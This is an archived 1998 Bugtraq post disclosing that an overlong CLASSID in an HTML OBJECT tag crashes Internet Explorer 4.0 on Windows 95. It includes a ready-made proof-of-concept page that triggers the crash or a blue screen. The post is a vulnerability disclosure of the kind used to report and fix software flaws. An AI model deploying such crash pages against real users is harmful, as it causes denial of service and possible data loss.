[7463] in bugtraq
Object tag crashes Internet Explorer 4.0
daemon@ATHENA.MIT.EDU (Georgi Guninski)
Wed Jul 29 15:27:40 1998
Date: Tue, 28 Jul 1998 10:10:36 PDT
Reply-To: Georgi Guninski <guninski@HOTMAIL.COM>
From: Georgi Guninski <guninski@HOTMAIL.COM>
To: BUGTRAQ@NETSPACE.ORG
The <OBJECT> tag seems to crash Internet Explorer 4.0 under Win95 (don't
know about other versions/OS).
The following:
<OBJECT CLASSID=____More than 250 characters here____></OBJECT>
opens a dialog box "IEXPLORE: ...illegal operation" and closes IE 4.0,
or a blue screen with "Fatal exception 0E" and you need to reboot.
I don't think this is exploitable(?), but it is a bad "feature".
Georgi Guninski
guninski@hotmail.com
http://www.geocities.com/ResearchTriangle/1711
-------------------------------------Cut here: Object.html -------
<HTML>
Trying to crash IE 4.0
<OBJECT
CLASSID=1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111>
</OBJECT>
</HTML>
______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com
